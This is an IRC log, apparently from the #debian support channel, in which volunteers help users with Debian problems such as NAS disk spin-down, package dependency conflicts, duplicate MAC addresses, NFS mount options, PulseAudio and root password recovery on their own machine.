| 21:00.59 | petn-randall | zykotick9: my working sample was 5, maybe my methods are flawed. |
| 21:01.21 | DebianTaco | open vlc,hit ctrl N and paste the youtube url in there |
| 21:01.50 | petn-randall | kingsley: start from here: http://www.youtube.com/html5 |
| 21:02.32 | jhutchins_wk | There's a script to play youtube videos automatically with mplayer. |
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| 21:03.04 | jhutchins_wk | greasmonkey plugin + a servlet. |
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| 21:04.33 | jhutchins_wk | tries vaguely to remember what it was called... |
| 21:05.28 | jhutchins_wk | https://userscripts.org/scripts/show/158556 |
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| 21:05.52 | jhutchins_wk | Called noflash |
| 21:06.36 | DebianTaco | that looks interesting |
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| 21:10.56 | joj | I'm implementing a Bash completion function for cpufreq-set from cpufrequtils, where detect available frequency steps, processors etc automatically. Question: is it possible for a system to have processors/cores which each may have *different* frequency steps/frequencies available, so that I need to query these variables per core instead of taking just taking them from the first core (cpu0)? |
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| 21:16.52 | reavengrey | joj: officially, yes a machine can have heterogenous processor packages |
| 21:17.06 | reavengrey | in practice it's rare |
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| 21:18.33 | joj | reavengrey: thanks. For my personal use, I surely wouldn't have to consider that, but maybe I'll implement that for the sake of completion. |
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| 21:29.00 | fosap2 | Hi. I use debian on my homebrew mini-server. I use it as a NAS and services with low cpu/io usage such as my personal mail server and a tor node. |
| 21:30.05 | fosap2 | I use ext4 on the only hdd. I want this hdd to go to sleep most of the time because i want it to live longer and save engergy. I tried laptoptools and ngflushd, nothing helped |
| 21:30.35 | jhutchins_wk | reavengrey: Usually they sync to the least common denominator if they work at all. |
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| 21:31.08 | fosap2 | I mounted /tmp and /var/log as tempfs, and so on, something keeps keeps on waking it up. Is there a way to use a usb-stick as a cache? |
| 21:32.05 | petn-randall | fosap2: I remember laptop-tools has a tool to check for filesystem access, but most probably it'll not work, because the journal gets written to every now and then. |
| 21:32.27 | reavengrey | jhutchins_wk: the Intel MP Specification says differently though -- if all the CPUs are of the same socket connector series they will work as expected |
| 21:32.55 | reavengrey | and kernel developers are explcitly advised to support such configurations |
| 21:33.06 | fosap2 | yes, that's correct. I increased that time to 5 minutes. But that's first of all a way to long for the file system and second a way to short of save some disk life. |
| 21:33.36 | fosap2 | Is there a fs that is particular good for NASs? |
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| 21:33.52 | wcwrel | how do i mount the cdrom ? |
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| 21:34.31 | phy1729 | fosap2: I like zfs because of raidz and integrity shecks |
| 21:34.41 | phy1729 | checks* |
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| 21:36.34 | ntnd | Thinking you can install wheezy without problems out of the box on a macbook air is a bad idea, currently doing recovery ;( |
| 21:36.43 | joltcan | fosap2: have you played around with hdparm as well? also, there are some settings in /proc for changing how often to write changes to disk, as well as for ext4 |
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| 21:37.07 | bronaugh_ | hey; so, I've found two packages which have mutually exclusive dependencies for no good reason that I can see. |
| 21:37.16 | bronaugh_ | so I can't install both cdo and libgdal1-dev |
| 21:38.11 | bronaugh | so, basically, they need to depend on (this || that); I presume that's entirely possible within the package management system yes/ |
| 21:38.16 | fosap2 | yes, i tried hdparm. I do know how far i can go with the writeback times. |
| 21:38.37 | nkuttler | bronaugh: file a bug against both packages i guess |
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| 21:39.19 | nkuttler | bronaugh: fwiw, libgdal1-dev doesn't seem to be installable in wheezy |
| 21:39.24 | jhutchins_wk | fosap2: NAS should be filesystem independent. |
| 21:39.28 | bronaugh | nkuttler: yes, that's what I'm about to do. |
| 21:39.30 | joltcan | fosap2: http://www.cyrius.com/debian/nslu2/linux-on-flash/ - Old, but I think there might be some relevant info to get you started at least |
| 21:39.39 | fosap2 | something like 12 hours would be ok, but that seems a way to risky. I'd like to have the data cached in ram, a usb-stick as 2nd level cache. |
| 21:39.41 | bronaugh | nkuttler: oh really? I seem to be able to install it. |
| 21:39.46 | bronaugh | nkuttler: on wheezy. |
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| 21:40.03 | bronaugh | well; ok. I didn't -actually- install it because I don't want to break everything. but I can get all deps, etc. |
| 21:40.09 | nkuttler | bronaugh: hrm... i might have installed a few testing packages |
| 21:40.24 | bronaugh | nkuttler: yup. I am quite familiar with that source of mayhem :) |
| 21:41.43 | fosap2 | joltcan: Thanks. I think i did everything in there. |
| 21:42.11 | nkuttler | bronaugh: yeah, installable on a pure wheezy box |
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| 21:43.22 | fosap2 | What I'm looking for might be possible with a unionfs. But I do not know enough about this. I want all files smaller than 10 MB (e.g. emails) to be written to to the flash drive. Once to drive is full i want them to be transfered to the disk. |
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| 21:43.54 | fosap2 | But, that should be transparent. |
| 21:44.07 | fosap2 | So a cron job for moving files does not work |
| 21:44.34 | joltcan | fosap2: ok, then I don |
| 21:44.37 | joltcan | t know |
| 21:45.20 | dondelelcaro | fosap2: someone's probably done something similar for files which are accessed often, but I don't know why you'd do that for files of a certain size |
| 21:45.37 | Some_Person | I have kind of an embarassing problem: I don't have the root password to my own machine |
| 21:45.41 | bronaugh | anyhow... can someone else please confirm that I'm right about my hypotheses as to the problems? |
| 21:45.51 | Some_Person | What can I do? |
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| 21:47.05 | fosap2 | dondelelcaro: Becaause the small files are accessed often. Like mails and logfiles. And if copy a movie to my nas copying it to the flash drive does not make much sense. But often accesed files would be a great start |
| 21:47.13 | bronaugh | here they are: 1) libgdal-dev depends on libhdf5-serial-dev (but should depend on libhdf5-dev), and 2) cdo depends on libhdf5-openmpi-7 but should depend on libhdf5-7 |
| 21:47.31 | bronaugh | I believe that will cause the conflict I'm experiencing. |
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| 21:48.16 | joltcan | Some_Person: You can reboot it (ctrl+alt+delete) then at bash set init=/bin/bash |
| 21:48.36 | Some_Person | joltcan: Thank you. I'll give it a shot |
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| 21:49.10 | joltcan | Some_Person: then you change the pw. You might have to "mount -o remount -w /" to get it writable |
| 21:49.24 | Some_Person | Okay |
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| 21:50.52 | wcwrel | where do i see the apt sources lisT? |
| 21:51.01 | wcwrel | i think i need to remove the cd rom as one |
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| 21:52.08 | mumpitze1 | wcwrel: /etc/apt/sources.list* |
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| 21:56.19 | fosap2 | What I'm looking for is aparently called "hybrit storage pool", but only zfs seems to support this. Need a reason to change to zfs anyway. |
| 21:56.43 | jhutchins_wk | !tell wcwrel about sourcs.list |
| 21:57.03 | jhutchins_wk | !tell wcwrel about wheezy sourcs.list |
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| 21:57.25 | chomwitt | trying to dist-upgrade i get: E: Could not perform immediate configuration on 'libgd-gd2-perl' |
| 21:57.43 | jhutchins_wk | stupid fingers. |
| 21:57.56 | jhutchins_wk | chomwitt: From what to what. |
| 21:58.13 | chomwitt | jhutchins_wk: squeeze to wheezy |
| 21:58.34 | bronaugh | par-tay. added a me-too on one bug, reported another. |
| 21:59.15 | kristijonas | hello, my ~.xsession-errors gets filled up with: ![1371679101,000,xklavier_evt_xkb.c:xkl_xkb_process_x_event/] ATTENTION! Currently cached group 1 is not equal to the current group from the event: 0 |
| 21:59.19 | jhutchins_wk | fosap2: Are you looking at clustering, or just normal SAN? |
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| 21:59.44 | tubaman | Has anyone else experienced ath9k packet loss moving from wheezy to sid? |
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| 22:02.52 | fosap2 | jhutchins_wk: Sorry? I'm using NFS and FTP, so i think this is not SAN. And this is supposed to be a traditional NAS for my personal usage, and it's my only one, so no clustering either i guess. |
| 22:04.14 | mumpitze1 | chomwitt: what dpkg version, from what debian version do you upgrade to what? |
| 22:04.44 | jordanm | fosap2, ZFS will greatly increase the cost of your personal NAS, since you have to load it up with some much more RAM and SSD to make it perform remotely decent |
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| 22:05.22 | mumpitze1 | jordanm: not SSD |
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| 22:05.50 | jordanm | mumixam, NAND? |
| 22:06.08 | chomwitt | mumpitze1: dpkg 1.15.8.13(amd64) ,and from squeeze to wheezy |
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| 22:06.54 | jordanm | mumpitze1, http://constantin.glez.de/blog/2011/02/frequently-asked-questions-about-flash-memory-ssds-and-zfs#benefit |
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| 22:07.47 | mumpitze1 | jordanm: not for a home NAS |
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| 22:08.52 | jordanm | mumpitze1, I would actually want to write data to my home NAS |
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| 22:08.54 | acu | is there a way to change MAC address for a NIC permanently ? I have few marvell cards, oddly all have similar MACs |
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| 22:09.20 | mumpitze1 | jordanm: and? |
| 22:10.00 | jordanm | acu, nothing "odd" about that. the first 3 ocets are vendor-specific |
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| 22:10.36 | jordanm | mumpitze1, and write performance is garbage without it |
| 22:11.18 | acu | jordanm: I have three cards, and they have identical MACs - and I do not know how to change it - it is not the first three numbers ? |
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| 22:11.59 | mumpitze1 | acu: all 6 bytes are the same? all of them? |
| 22:12.12 | acu | 00:50:43:00:45:3e that is the same address on all three cards - they run havoc on network, as through dhcp they get similar IP |
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| 22:12.36 | mumpitze1 | you can change it with ifconfig. use an init script |
| 22:13.29 | acu | mumpitze1, yes, all of them --- I did ifconfig eth0 hw ether 00:50:15:00:32:1e but is only until the computer reboots |
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| 22:14.06 | alpha-angel | this may be a stupid question but its been years since I was last on crunch bang. I know before I had switched to sid repos but now I cant figure out how. Is there more to it than just disabling the stable repos and enabling the unstable ones? (yes I tried #crunchbang irc) |
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| 22:14.36 | mumpitze1 | acu: that's why you do it in a early init script. you can't change the MAC on the cards |
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| 22:14.54 | mumpitze1 | !tell alpha-angel about crunchbang |
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| 22:15.21 | mumpitze1 | alpha-angel: and you can not get an answer all day from them, we can't give you one either: we don't use or know about crunchbang |
| 22:16.32 | alpha-angel | crunchbang is essentially prepackaged debian |
| 22:16.47 | alpha-angel | i used a lot of debian too, its how I started linux |
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| 22:18.44 | fosap2 | http://bcache.evilpiepirate.org/ |
| 22:18.53 | fosap2 | This seems to be what I'm looking for. |
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| 22:26.54 | fosap2 | thxbye |
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| 22:32.48 | basiclas- | trying to dd raspbian image onto SD card from ubuntu. it says SD card is ' a directory '. how do i make my SD card appear as an SD card? any ideas ? :) the card format is fat32 as per a raspberry pi tutorial i am following, is that an issue? |
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| 22:34.54 | bernat | !ubuntu |
| 22:34.55 | dpkg | Ubuntu is based on Debian, but it is not Debian. Only Debian is supported on #debian. Use #ubuntu on chat.freenode.net instead. Even if the channel happens to be less helpful, support for distributions other than Debian is offtopic on #debian. See also <based on debian> and <ubuntuirc>. |
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| 22:36.02 | mumpitze1 | basiclas-: we don't support raspbian or ubuntu. ask either of those distros for help please |
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| 22:39.28 | basiclas- | understood can you advise about SDcards and dd ? |
| 22:40.17 | mumpitze1 | only if you want to put debian on the SD card. which you don't. please use a raspbian or dd channel |
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| 22:40.46 | basiclas- | ok let's say i do :P |
| 22:40.57 | Naphatul | i'm installing for a minimal.iso and just installed xorg, how can i remove non relevant bits? also how do i figure out if drivers for my graphics are installed? |
| 22:41.40 | petn-randall | basiclas-: Sorry, we get tons of people who drift here because their #favoritedistro's channel is clueless, which got quite a burden for us. Which is why we don't support other distros. |
| 22:41.49 | bernat | basiclas-, why waste your time and ours? Please go to the channels advised |
| 22:42.18 | mumpitze1 | Naphatul: which graphicscard is it? |
| 22:42.39 | mumpitze1 | Naphatul: and the short answer is you can't. do you really need the few MB used by X? |
| 22:42.40 | Naphatul | intel gma915 something, i'm pretty sure it comes with drivers by default but just want to be sure |
| 22:42.57 | mumpitze1 | then yes it does use the standard intel drivers from xorg |
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| 23:09.09 | roelj | I think I messed my debian up.. When I want to install libcurl4-openssl-dev or libgtk-2.0-dev apt is telling me: "The following packages have unmet dependencies ..." |
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| 23:09.57 | roelj | I switched to jessie and went back to wheezy. Is there some way to install these libraries (and solve the unmet dependencies issue)? |
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| 23:13.14 | wolfmitchell | How would I forward sound going into pulseaudio into alsa? |
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| 23:14.49 | bernat | !tell roelj -about downgrading |
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| 23:15.22 | bernat | roelj, it can help ^^ |
| 23:15.43 | bernat | wolfmitchell, pulseaudio uses alsa already |
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| 23:16.20 | wolfmitchell | o-o |
| 23:16.29 | petn-randall | roelj: Upgrading squeeze → wheezy should be smooth. Do you have other repos you've added to your system? |
| 23:16.32 | wolfmitchell | can I tell pulseaudio which alsa soundcard to use? |
| 23:17.09 | roelj | bernat: Thanks for the info. I changed "wheezy" to "jessie" in /etc/apt/sources.list and ran apt-get update && apt-get dist-upgrade. |
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| 23:18.00 | roelj | petn-randall: Thanks. so I changed to jessie (see above). Then changed it back to wheezy and dit apt-get update && apt-get dist-upgrade again.. |
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| 23:18.23 | wolfmitchell | forgot I was rebooting my VPS xD |
| 23:18.33 | bernat | wolfmitchell, sure, open the pulseaudio preferences window |
| 23:18.56 | wolfmitchell | whats the command? |
| 23:19.02 | wolfmitchell | bernat, ^ |
| 23:19.04 | roelj | Should I reinstall wheezy to solve the issues? |
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| 23:19.29 | petn-randall | roelj: Oh, it's from wheezy to jessie, sorry, misread that. Downgrading *might* be an option, but only if you didn't upgrade core libraries, that could otherwise get a mess. |
| 23:19.32 | bernat | roelj, it would be the safest option I guess |
| 23:20.01 | petn-randall | roelj: It goes without saying that you should make backups if you don't already have any. Which you of course have, right? |
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| 23:20.15 | nonconvergent | roelj: Never do that. Yes, reinstall wheezy. |
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| 23:21.02 | bernat | wolfmitchell, command line only? |
| 23:21.14 | nonconvergent | Downgrading is sometimes easy...but usually not. The underlying services that you don't normally mess with change a lot, and Debian more than the sum of its packages. |
| 23:21.52 | roelj | Ok, thanks for the help. I'm going to reinstall now. |
| 23:21.54 | tharkun | Gentlemen I add ip:/public /public nfs user,exec,suid,auto 0 2 and the partition gets mounted like ip:/public on /public type nfs4 (rw,nosuid,nodev,noexec,relatime,vers=4,rsize=1048576,wsize=1048576,namlen=255,hard,proto=tcp,port=0,timeo=600,retrans=2,sec=sys,clientaddr=myip,minorversion=0,local_lock=none,addr=ip) What am I doing wrong? |
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| 23:22.19 | nonconvergent | roelj: Any reason why you upgraded then tried to downgrade? |
| 23:22.41 | nonconvergent | ... |
| 23:22.44 | nonconvergent | Nevermind. |
| 23:23.04 | wolfmitchell | bernat, preferebly |
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| 23:25.25 | bernat | wolfmitchell, that's not my strongest point but I'd look the config files in /etc/pulse and the pacmd command |
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| 23:26.49 | wolfmitchell | bernat, ok, cba to learn pacmd, how would I access the (graphical) pulseaudio control panel via terminal? |
| 23:26.51 | bernat | wolfmitchell, look specifically for the list-sinks command in pacmd and "man pulse-client.conf" |
| 23:26.54 | slixz85 | anyone that wants to bullshit come to #linuxbbq we are bored |
| 23:27.01 | slixz85 | but we talk alot |
| 23:27.03 | slixz85 | its all good |
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| 23:28.13 | wolfmitchell | bernat, how would I access the graphical pulseaudio control panel? |
| 23:28.55 | bernat | wolfmitchell, gnome-control-center sound |
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| 23:31.28 | wolfmitchell | bernat, how would I configure another pulseaudio device in that? I see no button or anything for it.. |
| 23:31.56 | wolfmitchell | and my sound card is not listed in the hardware tab |
| 23:32.28 | bernat | is it listed in /proc/asound/cards? |
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| 23:34.16 | wolfmitchell | nope... |
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| 23:34.35 | wolfmitchell | it's a via vt2020, bernat |
| 23:35.18 | bernat | pastebin the output for lspci -v and dmesg |
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| 23:35.50 | wolfmitchell | bernat, I know for a fact that it works fine with just alsa |
| 23:35.58 | wolfmitchell | in fact, I'm listening to music via xmp now |
| 23:36.08 | wolfmitchell | just that I cant listen to sound in my games without pulseaudio |
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| 23:36.43 | bernat | if it works and it's not listed in /proc/asound/cards I can't be of any help |
| 23:36.54 | wolfmitchell | :/ |
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| 23:37.05 | bernat | it doesn't make sense to me |
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| 23:37.45 | wolfmitchell | well, the only way I was able to get sound to work was to load every sound module xD |
| 23:37.50 | wolfmitchell | idk which module is for my card |
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| 23:38.31 | tharkun | Why is /etc/fstab ignoring all the options I'm adding to an nfs mount type? |
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| 23:38.53 | matlock | Error: Dependency is not satisfiable: gconf-service |
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| 23:39.40 | bernat | any soundcard in use should be listed in /proc/asound/cards |
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| 23:44.16 | tharkun | Ok, so nfs-common changed a lot. Is there a way to get back the old behaviour? |
| 23:44.51 | wolfmitchell | brb rebooting |
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| 23:45.19 | matlock | why can't i install chrome on squeeze? |
| 23:45.21 | matlock | Error: Dependency is not satisfiable: gconf-service |
| 23:46.06 | bernat | please, pastebin all output |
| 23:46.31 | matlock | me? |
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| 23:46.54 | chomwitt | feels alienated from apt right now :-( |
| 23:47.29 | bernat | matlock, yes |
| 23:47.32 | matlock | i'm going to waste pastebin for a one liner? to paste a link of the same size or bigger? |
| 23:47.36 | matlock | no |
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| 23:47.53 | bernat | just that line? and what's the command? |
| 23:48.02 | matlock | umm |
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| 23:48.39 | bernat | are you installing chromium from Debian or chrome? |
| 23:48.41 | matlock | i open chrome-browser-stable_current-i386.deb with package installer |
| 23:48.48 | matlock | that's what I see |
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| 23:50.04 | bernat | I guess the package you're installing isn't compatible with squeeze |
| 23:53.00 | matlock | well i guess that's alright |
| 23:53.06 | matlock | i don't want real google chrome anyway |
| 23:53.49 | bernat | you can install chromium from Debian |
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| 23:54.16 | matlock | thx already did |
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